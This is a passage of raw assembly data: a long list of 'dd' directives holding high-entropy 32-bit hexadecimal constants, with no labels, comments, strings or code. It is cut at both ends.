45AF85D0h, 6658CDC3h dd 10104C6Dh, 402E6FCAh, 0D061784h, 405432E2h, 0F3875F69h dd 8D6F730h, 0BB85043h, 4DEB6B27h, 72B485FDh, 0AF01A752h dd 1CBF43CCh, 63B3E9DBh, 6801EA60h, 34081CD3h, 4414171Ch dd 90023C26h, 2091F1F0h, 0CFCF58h, 0F98899C7h, 0BEB4B7E9h dd 7F4EBF9h, 5FF80642h, 5E382898h, 0A2019BB7h, 0B9B257E1h dd 0FE54EA57h, 7B0C942h, 9A04B652h, 6346866h, 0C463CBF9h dd 0EFE4DD88h, 8E02436Ch, 5AF52803h, 93C0EDD0h, 4062006h dd 0CD80030Eh, 7B817F38h, 0EB885352h, 0A17D122Fh, 681C2445h dd 0B5BCC34Ah, 0E165F8D6h, 27854DE9h, 802B07BBh, 59B568C5h dd 0FDAE2F91h, 76885B14h, 0DAF6D409h, 3AF77C29h, 0DFF22FC5h dd 0AC66EB00h, 13EE8146h, 4F3D2A1Dh, 1115CE81h, 0E02F2373h dd 0E9724E41h, 3FEA569Ah, 5A8EF75Bh, 0F920EB58h, 7709F1FCh dd 803F1DE6h, 0CA4F1BB0h, 0E298B873h, 65363259h, 615DFD0Ch dd 41FF0164h, 0CA00828h, 0B8E92414h, 3870A5C6h, 36B5D1Dh dd 0EC09F381h, 92E5A71h, 8723515Bh, 0B06D5F7h, 5C46859h dd 88FF2FB9h, 7F3DE6FBh, 0EA5B2160h, 7BD637DCh, 8F512DC0h dd 0CF0C9C46h, 0B248D210h, 254617B6h, 5E8B552h, 30529908h dd 4295AC8Ah, 0DDE5D7D8h, 52EB54C9h, 9DAB4857h, 220B1E5h dd 4A90312Eh, 0C2C443C2h, 3FF6CAD0h, 6F4E8009h, 32DEEFB9h dd 1783920Dh, 3420B5E9h, 879BC7C4h, 0CA170EFEh, 0BF2F7EE4h dd 0CB7CF94Dh, 74606132h, 6880E32Ah, 9567709Ch, 95B27FCh dd 157787B8h, 6E22702h, 77527AD6h, 360E42B0h, 4A28490Bh dd 41A1FC42h, 0E7400138h, 43AE0E24h, 6B89F009h, 8ED61496h dd 6604541Ah, 0AC26B130h, 54F2C0Ah, 0F7204202h, 4C1D405Ch dd 2E5D0515h, 4E7C22E9h, 0DFE6D0BBh, 5B950ED8h, 60763E96h dd 79BFF997h, 625C6D48h, 9AFF252Dh, 82018982h, 0D014A1FAh dd 8A5BFA94h, 515A85F5h, 2D0005A8h, 0E9059642h, 0B7C75EAFh dd 0EE935BC3h, 0E3D1C97Bh, 0EDC4D445h, 10C7CEFAh, 5B3BF57Bh dd 2A808327h, 1D51850Fh, 0D6E87ED7h, 2D2020B2h, 0CD90883h dd 2C96E972h, 0DC60F630h, 3EB55104h, 0F7F52680h, 0C9CC4E62h dd 0E9128D06h, 69D4C471h, 4D5588C0h, 0C72601Bh, 410D0B8Ah dd 1236AE80h, 15F2DB8h, 434E102h, 9F20829h, 11701B65h dd 43A101D7h, 0E44769E0h, 929028F6h, 685725D7h, 7FF38EDAh dd 1BC8FD45h, 0D686C42h, 0B7EC5D1Dh, 0E94C519Dh, 5315B340h dd 0B0060C25h, 0D6D79E6Dh, 4297E026h, 3E8D091Fh, 41CEF60Ch dd 61665CD8h, 0B0500573h dd 13C38885h, 81B404CBh, 0D9CB12E5h, 16C2B64Eh, 5EB9F49Eh dd 0FE21D498h, 0FBBC18B7h, 657A2814h, 6D871608h, 0AE00B3Bh dd 0C5B72ED8h, 0B5CA2043h, 0F5250BF9h, 0C5243EB4h, 0CCE2FD02h dd 4048017Bh, 2074602Dh, 0C631C912h, 0F1F98009h, 0FFD0495Dh dd 86FEC262h, 0E5ECDF43h, 0FB31395Ah, 0CEE22694h, 64E4B5C5h dd 0FFF41525h, 5D544B18h, 3344524Ah, 7141392h, 0FA7AB21Fh dd 9540015Fh, 7B035643h, 0CF522803h, 4930E712h, 0C15B9C15h dd 6FD45A18h, 6B43FB3h, 1A0109C6h, 2F77FBAh, 5648D9h, 0C307352Dh dd 6812A0B0h, 60CC0E6Ch, 677E1F34h, 38F04B71h, 0E4531019h dd 0B06F37ACh, 275408AAh, 0DDFABE77h, 503BC157h, 0F53C050Ch dd 417DD22Ah, 40FB9A03h, 53B4AFF3h, 5660A732h, 68034AF3h dd 92C40CDDh, 15AB8737h, 68826ABCh, 0DDD9507Bh, 31B91CB0h dd 98594E60h, 0E92F549Dh, 68D46019h, 0F64D5A6Bh, 0CFA1C439h dd 1FA8F0D5h, 0D17AA25Ah, 91225A2Eh, 16725A05h, 20A37DE9h dd 48757289h, 7821009Fh, 0B777DB57h, 40EEBE41h, 6BD5508h dd 3D400A1Fh, 4C14F501h, 0C8270F8h, 10F03360h, 95B03AD8h dd 0F65DAD60h, 0A102397Eh, 774CCA4h, 3C1B830h, 282AB450h dd 0AB9C58E6h, 2C93A1B2h, 1D30E9DFh, 6CC35B66h, 0A1A94E3Dh dd 5732104h, 5B16BE08h, 0D6123009h, 8750C502h, 56FE8BEAh dd 0B5616349h, 5084C8C0h, 0E8395A8Ah, 2A066A14h, 68C92E0Bh dd 2C3342FCh, 25115B1Eh, 0A2854F9Ah, 0A55DACFAh, 6F220BFBh dd 7046CB41h, 6AF203E9h, 5512EF6Bh, 1199A02h, 9470B0F7h dd 631B9922h, 8BF202C6h, 2916A77Eh, 5606D0E6h, 437A1E68h dd 1341611h, 0A74E7FD4h, 0CE955512h, 86C9CD75h, 4E1A80E9h dd 58A45B49h, 0BAF9206Ch, 2EF1F3DEh, 0D2603959h, 1DF19502h dd 426A564Bh, 8309F1D7h, 25238B3h, 0DE1660C6h, 20405E31h dd 0C0304A79h, 6C650C06h, 0BC0F4EDDh, 7E57CBD4h, 9371D265h dd 17562217h, 922FE004h, 0CD0ADDAFh, 0AC2220E3h, 54612216h dd 71E89518h, 0BCD6D23Bh, 0DCEFF49Eh, 0F27E9E6h, 0BD8021C6h dd 40F28427h, 3B012957h, 0EB0366F1h, 937528E2h, 3DE9DFC8h dd 20A6BF52h, 2B792014h, 35589BA1h, 0D6AC2EBFh, 63A34BB4h dd 0D37D1C62h, 0C71AAF82h, 19ED8A82h, 0F7FD2902h, 300C6F64h dd 9CA714BEh, 616677B6h, 50B7B437h, 0AF167F28h, 845524EEh dd 6032BC35h, 1F53BD0Eh, 0C7E9EFF1h, 801426F3h, 0EE9939F3h dd 20D0647h, 6FA40FDh, 2DEC7ED0h, 2CDEA9E4h, 0AEE08896h dd 0FC282CF8h, 0EB823DF3h, 6933E99Fh, 3A31D744h, 0BEBF0CE4h dd 0C27F3EEDh, 52555FC0h, 57E912C5h, 8468A239h, 5909CC10h dd 5158EAFCh, 2505E6B9h, 44F623EDh, 1A44E9C0h, 4D1248BEh dd 0C0DA4F77h, 8CB22D62h, 98AA218h, 0B7207AF4h, 50F0BBC4h dd 4B3DCD4Dh, 496605B0h, 0F4BF84Bh, 377234EBh, 11E58350h dd 0B5EDC45Fh, 40C1AE85h, 0F699F7A7h, 0E73CC0D7h, 0BACF1E02h dd 0CE2DEFCFh, 0FD30E2C7h, 3B25DD5Bh, 0EE8953DCh, 0B8D298CBh dd 0BB90269Fh, 950CB4ADh, 3C5D158Bh, 0B1E91866h, 1BE4BE1h dd 61814A16h, 0BC648B4h, 0D97BD079h, 0ED811474h, 6F692817h dd 7DB28C42h, 86A25492h, 0A2F75C85h, 0AF08705Ch, 0C6CF8F89h dd 0B710B1D4h, 0FFE8E30h, 279271BFh, 6BE7F7C0h, 0C32DDE7Eh dd 16ADE4FAh, 1ED45E8Eh, 0F62425F8h, 0AACBBF3Ch, 0AA112384h dd 307957A2h, 0F329177Bh, 0B0320D51h, 94C4722Eh, 0DD60FFBBh dd 9958B75Ah, 10CAD14Ah, 7E504242h, 0BA42B827h, 0BF8D9AA2h dd 0A6ACD473h, 0E2ADCA13h, 1A87B1C6h, 0AC403D65h, 686B34C2h dd 7EA5BD5Eh, 0B8055F38h, 1076957h, 60BE3770h, 0B6A9803Bh dd 2B4C800Fh, 65CA030Fh, 0B00169F2h, 0B235F8E9h, 5B525CA0h dd 0BAE1F09h, 0A8033482h, 4FF8B900h, 0C4505EEDh, 55B5EF36h dd 0DDD40C88h, 7FB6520Fh, 10F0388Ch, 74610BBAh, 0E61005A5h dd 5F8208CEh, 8275A489h, 0E49C41BBh, 1C7C1606h, 7CA2E51Fh dd 98AB8427h, 0BBDCB404h, 0A5AAF9C4h, 611FFCD4h, 58C1F482h dd 93A4C3F4h, 332E7614h, 39F05F81h, 1771044Fh, 0AA6C2960h dd 0C401AB2h, 0EFDECC5Dh, 0B7294Dh, 1338FCD4h, 250CFA1Bh dd 579A0133h, 8C0AEC61h, 1354312Eh, 0E6705FF9h, 0EE3A87CAh dd 0A5BCD2DFh, 410BFAD6h, 0B713EC53h, 5090C79h, 3CD85962h dd 0ABCAD83Fh, 69861932h, 0AC3E5C3Ah, 7BE94FB6h, 0F936882h dd 0C588D955h, 1EE0CE9h, 51BD5BF5h, 494E62F8h, 828A05F1h dd 0C089B973h, 0B66E646Fh, 99F050ABh, 788C9897h, 622C9C2Dh dd 67F56EADh, 0CA5D921Ch, 49F84F07h, 3FC127B1h, 4A7B1EB7h dd 0BDC68091h, 72247439h, 3310560Ah, 542D5801h, 0EC168363h dd 469F50AFh, 373DFDB0h, 86B8FD4Fh, 252860CEh, 0A5D7D4B7h dd 89C347BDh, 971A1CF8h, 5FA640h, 69A3D78h, 0B0B4EF87h dd 95E9163Ah, 81BB2A40h, 7B6AB663h, 147D2750h, 94F69A6Eh dd 0EFBC377Bh, 45F65C92h, 5AB37510h, 0F61F65A9h, 6EA48033h dd 0E9F78957h, 0CD07534Fh, 0DD2FAD66h, 0A9F234FDh, 2C62E180h dd 11A1473h, 841B4C5h, 0C15E466Ah, 4E608040h, 0A958495Eh dd 0FCF0F238h, 3B68941Eh, 1C7FC7A7h, 62E91232h, 8C2045B7h dd 83D6B658h, 120D3BE9h, 30224D2Bh, 8019B628h, 3AC0F648h dd 0E6BDE020h, 4F5C2A93h, 0B61B250h, 0DE793CE9h, 3B2F8BEDh dd 535DD618h, 3F6004B8h, 4CB4C541h, 32257BC6h, 88E61B9Bh dd 8BA47975h, 0B7DF280h, 0F04504FCh, 72F10907h, 4EC88ECh dd 0A50FBC4Fh, 9D6603BDh, 76A8D27Eh, 9292463h, 0D474ECA7h dd 3AE19FBEh, 5AB25E6Fh, 8050EF85h, 591A1510h, 0EB87001h dd 29CD3092h, 0C092EC23h, 0B3B850FAh, 78D80300h, 8D443425h dd 1E0D7748h, 8F62C07Ah, 42E0764Eh, 0C8724C35h, 58FA42EBh dd 0E5A589F9h, 7DB981EBh, 0F83DBE36h, 5F17B6C9h, 0C5F26F34h dd 0DC254017h, 0A501F342h, 0E9386203h, 0BC3BFAFCh, 360481B2h dd 0C8D27F4h, 605A25ACh, 5B1701E4h, 0BABC466Bh, 841A5D27h dd 3276B646h, 0B8E2D180h, 2EECE205h, 8BB4CD6h, 3D3EF116h dd 85280FF7h, 8CA9676Dh, 0E8C6D709h, 892CD69Dh, 0F5A5CBCCh dd 4B8DAE54h, 10691B3Dh, 5A4B2BE6h, 30E929FEh, 23C4112h dd 0E9E9CFF3h, 90540127h, 1B2F2704h, 0C1269F80h, 0E9FF0C09h dd 0C3ABD4BAh, 54D6231Fh, 0F2677025h, 35DE07E7h, 65C13665h dd 5072A103h, 5A7D0450h, 68933404h, 32EB2BD5h, 0A9E930C7h dd 65BC3A5Eh, 4F0BCFB4h, 852970ABh, 6ECE2FD8h, 1EAF7C68h dd 49C59F51h, 0A0225989h, 7C40F162h, 16F85C4Eh, 0C0F73726h dd 3A8E1878h, 5167B99Eh, 14CA86C7h, 3A02B040h, 776F9236h dd 3830005h, 0F766F25h, 0D058F741h, 3B5F20BFh, 1D922B2Ch dd 851390DFh, 1C013CFFh, 0CB1F5A05h, 32BF290Bh, 2FA3CA27h dd 0EC55358h, 717F548Bh, 802C44C6h, 5FAC745h, 955B2553h dd 0CFECAAh, 40B432B6h, 5A09F428h, 603E4C0h, 439574Eh dd 606A9FC2h, 0C16D8023h, 7A7C5C0Ch, 18C7E11Fh, 0D9BE35D8h dd 0DBD1E587h, 46C008A7h, 80257486h, 0B7B27072h, 3625D71h dd 224E7FF0h, 792C3BDh, 7608ED7Dh, 0E769EFC9h, 6497B158h dd 0C5293EC0h, 5B860925h, 4C18A05Bh, 0F1FE6B6Dh, 0E10DD348h dd 0F7652F86h, 973A1EEBh, 6834429Dh, 64545320h, 0C50E1D62h dd 10718962h, 5E277EF1h, 0B708801h, 1885C2Dh, 44CFEB81h dd 44803ECDh dd 58D3641Ah, 933F113Ch, 24F1C818h, 0FB097E50h, 8F32936h dd 0F824089Fh, 0F5F6CF09h, 7F86FF19h, 32A8C517h, 0FC1982E5h dd 6972F80Ch, 40554C7Fh, 12A5C7C8h, 0BA8EBDFDh, 0DA31F104h dd 16BEEA00h, 0E91F4CCEh, 7FE50F6Ch, 567F0514h, 5F13DB30h dd 2E45E0C3h, 0AFAE3B90h, 0F528D276h, 3D5DE609h, 0E8C67F4Bh dd 0AF0C1924h, 0A945E909h, 0F2384269h, 5DC80BEBh, 26D66DD3h dd 9737327h, 0A3CEDDA4h, 0D3A44197h, 0B9A6302Eh, 617DC565h dd 0E34B3324h, 82CCFAC8h, 0E0BA8049h, 6CA9540Dh, 85F47629h dd 0EB6BC150h, 84FB06F9h, 0C122E1EDh, 786F5BC1h, 3CC56E78h dd 84F09214h, 0BB60ED5Ch, 4F5F0762h, 6315D05Bh, 440C4370h dd 606EBC1h, 6A799F02h, 7050BA15h, 0CDADEC4Eh, 3003A984h dd 4F1CE954h, 21EDA5B9h, 0C16CCCCBh, 504BC22Dh, 6E7C95BCh dd 4BD6592Dh, 0EC6B26D6h, 5A4189B7h, 8101F93Ch, 131FC7EFh dd 68A33B4Fh, 0F894EBD3h, 15DC80EEh, 0F2C14FFAh, 46213602h dd 6F9EA740h, 186E60C0h, 0AC148C7Ch, 5AAC314Fh, 531BC500h dd 4EE93C99h, 5885B792h, 1052BE95h, 0B90520ACh, 841E0507h dd 8088EBB3h, 0CC15081h, 0C50F4FE9h, 57B6B414h, 118BBF0Ch dd 0EF72A38h, 6C965603h, 2CC5CFC0h, 55B02119h, 29B0748h dd 2B3C45B9h, 49AB6957h, 991938D4h, 0CD79C265h, 3D2F6800h dd 27647AB6h, 64D6AFC4h, 42AB5DFAh, 52383789h, 3A9D5DEFh dd 0DD4E49C4h, 0B86FAE2h, 55E47C17h, 0D4C3B2DDh, 4062D276h dd 292C557Ah, 5A1312C7h, 0B5A431ABh, 0C8373FAh, 0E77FD468h dd 0C9854817h, 0D3FC92A4h, 5031E902h, 1AB31207h, 80760BC0h dd 0FDD258Bh, 0CBE80E90h, 0D10E7FC6h, 495BB599h, 52A8F328h dd 264E6968h, 909F7CCh, 82E9D1F6h, 28BE5221h, 11F7FE58h dd 123B21B9h, 0D2ABECBBh, 12AA7516h, 0F799EE2Eh, 0AC2AD935h dd 34EEE4E7h, 0BDF2910Ah, 1C5A035Eh, 9F712C35h, 0C913499Bh dd 77097472h, 0FF15474Bh, 65501040h, 0F892659Ch, 298427A9h dd 0C20104F4h, 3821C7C0h, 0B92A4A26h, 38BB4A3Fh, 2525E964h dd 394FE6A1h, 2CA44E74h, 7619006Ah, 0AD68085Ch, 2A133455h dd 10828191h, 0D731A041h, 0BEF8CBDCh, 76F38119h, 2E7C790Dh dd 11022280h, 0AAE92FFDh, 0D8540D05h, 239B51B7h, 2F3EAD28h dd 5825AF78h, 0FBA1A0E5h, 15C27EDh, 0D039127Eh, 952DE9C4h dd 3FD8E644h, 2AAC17D6h, 0E8F21E3Eh, 835E029Dh, 0BFE901E8h dd 68B3065Ch, 57EBCA55h, 0C80F7DE4h, 6F6E6A36h, 50287943h dd 0BB100461h, 3EAC058h, 80D2F604h, 1E14D8E2h, 52014B3h dd 553C3E0Dh, 6A4B9D00h, 28E92E9Dh, 171109C8h, 452707Eh dd 478918Ah, 3ABC131h, 585950B0h, 6C65FEE9h, 0E5B8A1F8h dd 5CC1C83Bh, 8974F1BDh, 410C361h, 0AE962CFBh, 85846292h dd 5A6ED1FAh, 0C3890173h, 0DD9F61FCh, 0D825F983h, 0D600E776h dd 8166D734h, 58A0BF6h, 6ED149FCh, 0A4685500h, 9311F038h dd 93892F7Ah, 0D54BC571h, 89A7D427h, 6E200BC6h, 12209003h dd 0AACC1614h, 2C489330h, 0E90C1230h, 413EF10Bh, 0C05902F7h dd 0DFF852C3h, 0A7970E4Fh, 0D2ABD625h, 0B5D1715h, 7C31F7EAh dd 0E09E540Eh, 26169EA0h, 10EE22FBh, 892C07F7h, 0E7049FDFh dd 624290C5h, 0B8C6770Ch, 880B52F6h, 85D6F6E6h, 31EFD1A0h dd 20086815h, 89958490h, 795AFEF4h, 92092B40h, 4162F021h dd 0C4C07B9Ah, 17743FC6h, 215A6C2Bh, 4FE181Ch, 88D675FEh dd 0B8435059h, 95F61517h, 7608E270h, 44A22602h, 90F501DBh dd 0C0ADCCD0h, 5B05D05Bh, 502CBA28h, 0C0E69F5Ah, 0DDF99547h dd 0E9F4A149h, 0BB006AF4h, 4B2D6B35h, 5534C114h, 9EBABE70h dd 45E1823Ah, 4BE19F6Fh, 0AA122B6Eh, 0FD9639E2h, 0FF3228E9h dd 62D1F997h, 5C064942h, 811ABC48h, 0AA45CAF2h, 90E06F55h dd 71C72D68h, 357E8BC6h, 42327995h, 0F35DF021h, 0A56884C4h dd 161AA364h, 0D3896FF0h, 4AFB0B20h, 0E70FF807h, 47BC97E3h dd 0B482D10h, 0CF4BE630h, 4BB70159h, 1A71E966h, 7DF6CF82h dd 6E5CE65Fh, 0D250700h, 98F53114h, 0E007E587h, 4B82B951h dd 6044A52Fh, 0F16D54E6h, 0FF095D61h, 0D21BF42Ah, 9E4CA349h dd 290E83C9h, 61C48200h, 5BBA002Ch, 7160B26Fh, 0FF29D2D8h dd 2FB0A01Fh, 6C86375Ah, 5517C00Ch, 41EBF709h, 2C26E486h dd 0D99A17Eh, 9235376Bh, 0D55A2BA3h, 0B9441F02h, 0FFCD8754h dd 9BD5E303h, 7332312Fh, 5ADB2829h, 3EBA902h, 5E3B9AEFh dd 0B7E7B067h, 0BF63072h, 99FFD97Ch, 0FD87FC4Ah, 16F0A06h dd 0CE57B0EEh, 0F4C6015Ah, 0B895BBD9h, 5B3668A6h, 453FCC12h dd 0EAD2017h, 0EEE46E95h, 0FC684B48h, 49C2A7CDh, 0BC2904ABh dd 39C4817Fh, 2EFC6527h, 0D51FCE8Eh, 96259E7h, 49364E7Dh dd 5EC9B456h, 9E9F16FFh, 1F57157Ch, 0B8E5E916h, 0EBC5F0Bh dd 4085E9E0h, 5EF081C7h, 45D06084h, 975D840Fh, 515795C2h dd 4D8F0251h, 6827089Bh, 0DCEF20D5h, 3C41964Eh, 2410D5FCh dd 3592AE5h, 4391B6EDh, 413F8C50h, 2B446498h, 345B5EDFh dd 596A19FFh, 3325DD68h, 45FA4FBCh, 0A97A539Ch, 33AEB577h dd 0F3BAE95Dh, 4CF99B75h, 0B9122BD2h, 0D6845576h, 418EB474h dd 7C09E902h, 0CD3116D9h, 4B0B004h, 0C7A1D6A8h, 3D0B59D4h dd 0E9E88738h, 82B88094h, 9DEFCD3h, 0C6759C68h, 2F19F201h dd 0AF742AE2h, 0CB126102h, 0A6D2837Bh, 67534FDFh, 0A83DD260h dd 0C806A65Ah, 57612971h, 4B2B020Eh, 0D3F730BCh, 80D4077h dd 38EB0E81h, 0E973EF91h, 0FE58101Dh, 1882E84Ah, 0BE500636h dd 661414EFh, 1504AF65h, 849A99EBh, 0E9E9B078h, 0BFEF9D33h dd 81B1B9E1h, 75CA0F92h, 0E250AADAh, 0F4EA1098h, 2800507h dd 0C8291141h, 0E907402Dh, 419012ABh, 0AFC1283Bh, 40F18963h dd 2D4856A4h, 0DE3176FBh, 0E70C55F2h, 572109D8h, 0F71B841Ch dd 0D35CCEACh, 0C726FEC8h, 5AEC812h, 0ABC1812Ch, 2180CCB7h dd 37E91C47h, 0FAF33E6Bh, 5065B6E5h, 0E64EE9F3h, 6DFFBD13h dd 4E8D0253h, 0E54B0F54h, 84AA23E9h, 0F7E09AE9h, 42B24BECh dd 1CF8E25Bh, 2A976926h, 0CE533909h, 2D52958Bh, 989F88FAh dd 6E36F6h, 85BA0FF0h, 0E905F5AFh, 339A0C28h, 0EB072C2Ch dd 0ECB16B12h, 0B01A4127h, 0B011B519h, 0F4AFAF43h, 1539669Ah dd 7FE99A97h, 755278F9h, 68518BA1h, 0D227AD0Eh, 9CFB2D51h dd 0FF2E8E66h, 6B34F430h, 0BED0B17h, 0FB31F915h, 12175C67h dd 5DD6360Eh, 0E9130720h, 6E448775h, 0CCEB315Ah, 4F16AD75h dd 0BC42E9Ch, 0DFD4B713h, 0DEBCCFC5h, 3C720981h, 5E0CD253h dd 7C59022h, 1EBC2DFEh, 255E9E8h, 0DFFF111Bh, 5A24BD67h dd 9919E08h, 4E7EFA29h, 2EF92BCFh, 38580223h, 0D680DF64h dd 318247C3h, 0B7B1F85Ch, 2D2564B9h, 9325D39Fh, 2DB8BC8Eh dd 68AC305Eh, 0B8614F14h, 0C7291C5Fh, 704794FCh, 0FD3D5C0h dd 83183038h, 3B17D6E9h, 56ADD8B1h, 315FD4E1h, 0FB096A33h dd 417CDB5Ch, 2F556AE9h, 0EFD2D6E6h, 43D195C8h, 0DF0B163Dh dd 17B265AAh, 0EA361642h, 57A85E69h, 0BDEB4E88h, 41C100D7h dd 2DB7C278h, 0BE50161Eh, 0BE10FA1Ch, 12E91607h, 0AD4005F1h dd 7BB04725h, 0C4CD4A0Ah, 3A6B814Ch, 0B9C3DF7h, 52EF0158h dd 0D0D7204Fh, 28922C16h, 0AC925ABDh, 0AE9B0B6h, 1C099246h dd 0D2B713B2h, 0EC2C1728h, 0E28017C1h, 53B52C04h, 2268C11Ch dd 0FC5C8E47h, 82E7D989h dd 923A0CD6h, 61DD4040h, 9044EE07h, 0B536091Ah, 290121E2h dd 0BB248AE9h, 0C188929Fh, 84BE00AEh, 0E937F780h, 71F8C527h dd 83A4966Eh, 0CC785AB2h, 702F0F38h, 0A474E59Dh, 0DAE22529h dd 686D30DDh, 7D9995DEh, 0DCB62E54h, 0BE32605Bh, 44091F55h dd 0F89CE97Dh, 0E4219546h, 8BA611D0h, 51CD426Ah, 4402442Ch dd 0AAE2FA01h, 0BA05805Bh, 352C4F60h, 81805E7Ah, 384287CAh dd 5682C13Eh, 3F500D4Bh, 5A348AF0h, 5A8FF3EEh, 0EF9B74BBh dd 5A8896D8h, 20D8CC87h, 37D4F04h, 0C1A84401h, 58250CD0h dd 86B1FAE8h, 1A43B880h, 4E2FF848h, 9D5077A9h, 421438A0h dd 2AF56881h, 5ADC317Eh, 997AD13h, 0BD94F0A6h, 0AAA49EB6h dd 1FDD6120h, 971AB3BFh, 0D3E25CA8h, 0C97809FEh, 439A65EEh dd 3D0A8190h, 9D25AB59h, 0B7110D04h, 246C9E0h, 0E980626Ah dd 0FF40B0Eh, 0B5401C8Dh, 0A74AB82Eh, 6F93C961h, 0B4431EC9h dd 5FD3B09Bh, 0EDF14029h, 94FAC1Eh, 22CD01CCh, 5F3878E3h dd 7C88178h, 42B084Dh, 1672934h, 121984FDh, 0E4B7A908h dd 39690BA0h, 0CA51D52Eh, 0BC7C0BDEh, 57D3298Bh, 52F3E1Ch dd 80D44A9Ch, 785816BDh, 0EFC1127Eh, 93C0EB06h, 9466166h dd 277DE951h, 94F395Eh, 2DE2561Eh, 75A70EF3h, 0EEECD51Ch dd 45795B9Dh, 0E0F8885Ch, 69014909h, 1313F340h, 0E56FD25Dh dd 8EC0A458h, 0DD0F740h, 0AC763969h, 0C8CF3580h, 0C5218D3Fh dd 0BA4B9F98h, 23CAB32h, 1B5D0D85h, 3902C8FBh, 932F5080h dd 245375F2h, 3C124DA7h, 0B9CE5F82h, 0A59ED089h, 0A0BD1BF0h dd 0C07C47BFh, 0A50CD242h, 17F03B3Ah, 0F141B9h, 8903EEABh dd 3409739Ah, 0C0D1D751h, 80689E10h, 0CF98C601h, 7A4AEE7Ah dd 0A9BBCE01h, 81F8F178h, 329102E3h, 3CE94DA2h, 3127AC54h dd 6F81FEBBh, 3F5165EBh, 3DAAAE23h, 25165B13h, 3E4BA504h dd 1FCB6803h, 0A9F53D1Ah, 93CF4027h, 25823022h, 0EF03D10Ch dd 0C829A307h, 646D58E9h, 0CAFC003Eh, 0C11AA015h, 5003E125h dd 5D068273h, 0FC22FD0Fh, 0D741056Fh, 77673BCFh, 0EE8A224h dd 105DA9D6h, 131EE3Dh, 361E3072h, 7E9E599Eh, 0F78CE897h dd 0DAAA0D7h, 0E0C564A5h, 0E12AB84h, 469954ECh, 993500C6h dd 0AC4362D0h, 97DABD75h, 0A43D0F12h, 27DA7A1Ch, 0EF627D16h dd 828383FDh, 55098728h, 7D24B0EFh, 0E11FC018h, 9FBD0555h dd 4659576h, 9F7C5DAh, 622F565Eh, 1BC81EF1h, 46305BDEh dd 0E681FE83h, 766B7FABh, 0FA08F26Ch, 1E0F7C42h, 0FB6894F6h dd 3BED3126h, 8C4A9D17h, 3E18AB4Ch, 2121405Fh, 15F19DD8h dd 5E64E9E7h, 3958E0B4h, 0E87B6C21h, 0CD449777h, 0CBD1909Dh dd 2FAD1657h, 3111205Bh, 29E4F258h, 0E104D1D6h, 13F2D157h dd 4F32B64Bh, 550F31AAh, 943F3D79h, 47F90419h, 3F80294Ah dd 0E7FA0222h, 0CA6E42EEh, 756CD53Ch, 4E1F5903h, 5058BA73h dd 126BE10Bh, 44215616h, 0ABB19BC4h, 4C85564Fh, 93CEBA77h dd 50AE9248h, 0F40286D7h, 4B1F8611h, 979A0A41h, 0DBE10141h dd 0A289A7Bh, 0AE782768h, 11C3688h, 8F7630BBh, 26E2203Fh dd 426D6F12h, 50033000h, 1232F4B8h, 13E976C0h, 0F52CAE59h dd 610BFC02h, 0ED68C508h, 7E422357h, 0E423DA2Fh, 355679AAh dd 802241D5h, 0DD6E2DFh, 1A485D3Eh, 2719A7BEh, 26A25ECFh dd 696374CAh, 0F710380Ch, 7586D550h, 44B00905h, 888EDD29h dd 704BED01h, 614534E0h, 874F90C5h, 9655EB50h, 2E456917h dd 0C1FE8700h, 25E907E6h, 0B1F919EEh, 850C6C88h, 0C1FAB1F7h dd 0F4F931B5h, 949C6FA8h, 67D7074Fh, 0F9E55D09h, 953A94A5h dd 50208164h, 59542882h, 79D00C7h, 90351786h, 0C080A37h dd 2F3623E9h, 1AD646A3h, 59CE0584h, 4F686BCCh, 0CB3EEC9Ah dd 0A865752h, 5F0014F5h, 2CF3814Bh, 0C00E3302h, 584F490Ch dd 0D8480172h, 0A0D0E2D0h, 1EA83F5h, 27E9EF50h, 18478B28h dd 825FF84Bh, 49229CE9h, 28DDE60Ah, 462FEA6Ch, 0B826B18Fh dd 50334DBh, 53782F88h, 21DED95Ah, 0FB591696h, 3EA6A805h dd 49B76840h, 3180C7FEh, 0E90A01EFh, 4FCC3851h, 17AE65FEh dd 726B4566h, 7D96E416h, 9DE4D85Bh, 560F2422h, 0C3011AFAh dd 180181D7h, 188333C8h, 767B2143h, 19170C7Bh, 731FEF4Ch dd 0ABC0294Ch, 58A4FD09h, 0C7CEA5F1h, 3BAECE20h, 60995B50h dd 685D0ED9h, 210D89D2h, 42D2F759h, 0AB681DE1h, 20780F7Ch dd 0D345716Ch, 0AA2A3EBh, 0D23ABC68h, 0BD9B898Ch, 298E13CAh dd 0B5830F4Ah, 0FDBB0210h, 0F86AFC0Fh, 6E279048h, 0B0C6ABDFh dd 0CCBC5993h, 27D7EE0Bh, 30954DECh, 0FE946887h, 0B058CEF2h dd 5720FB05h, 0C419C470h, 6808020Fh, 0EAD136C9h, 9F646180h dd 9CB8174h, 6ADD04F3h, 905F3DA9h, 0B71C2959h, 392C6A64h dd 0EA978092h, 30F4EF8h, 8C9FF15Eh, 281C34CAh, 0BAF8D05Bh dd 3343680Bh, 0B127E7C4h, 53507CA8h, 4A598F58h, 0E5BDD9C0h dd 1E080436h, 0EB5DEB31h, 8A564709h, 0D40B70D0h, 203E5C35h dd 9F602FCh, 0CE890D75h, 891BED7Fh, 7A1208E9h, 80AD0955h dd 52384EC1h, 522EF545h, 2CD0B9Eh, 0C4C4C8F6h, 0BEBC56BAh dd 0C07B3B99h, 1CF56AC9h, 303FA9B4h, 4CF11BE6h, 0D7C63DA8h dd 0F860A795h, 0DD6C700Fh, 18D289A9h, 0D4AD83BCh, 794E02E9h dd 54C04257h, 0C12414A9h, 2A021E53h, 767CB063h, 960E3F32h dd 1351A307h, 9E2DEE29h, 66BE2C6Bh, 23800C5Bh, 0A88B5FFDh dd 81F0CBCDh, 858A2AACh, 5F7F8140h, 549B8A31h, 5E4AF7E5h dd 0E916D0A2h, 4B41B864h, 9F537F8h, 80700EABh, 5A245B58h dd 2260CBF8h, 0C01CA6B8h, 0C5351502h, 7D48632Dh, 0D5854E8h dd 0CB402600h, 4E8C175h, 0A9F0092Dh, 6CFDF845h, 0DF9980B0h dd 2CE0253Fh, 780E6778h, 65560668h, 95A31E1Ch, 0C52D440Dh dd 0B90347E8h, 0EEFCDB8Bh, 92BF4DA5h, 0BEDAC15Ch, 0D85A34E3h dd 0F86AFE12h, 0E11FC340h, 8BCE2946h, 1009114Ch, 560C6AD8h dd 2194DE89h, 0F7F87141h, 0C3C6BF9Fh, 0DF035402h, 94C0118h dd 2C0ABA88h, 3A614FBDh, 75294DEDh, 135144C9h, 0E904BF0Ah dd 4CE85E0Ch, 0D17F59B2h, 0FA8289A3h, 111381ADh, 240D57CFh dd 0B7EECB1Ah, 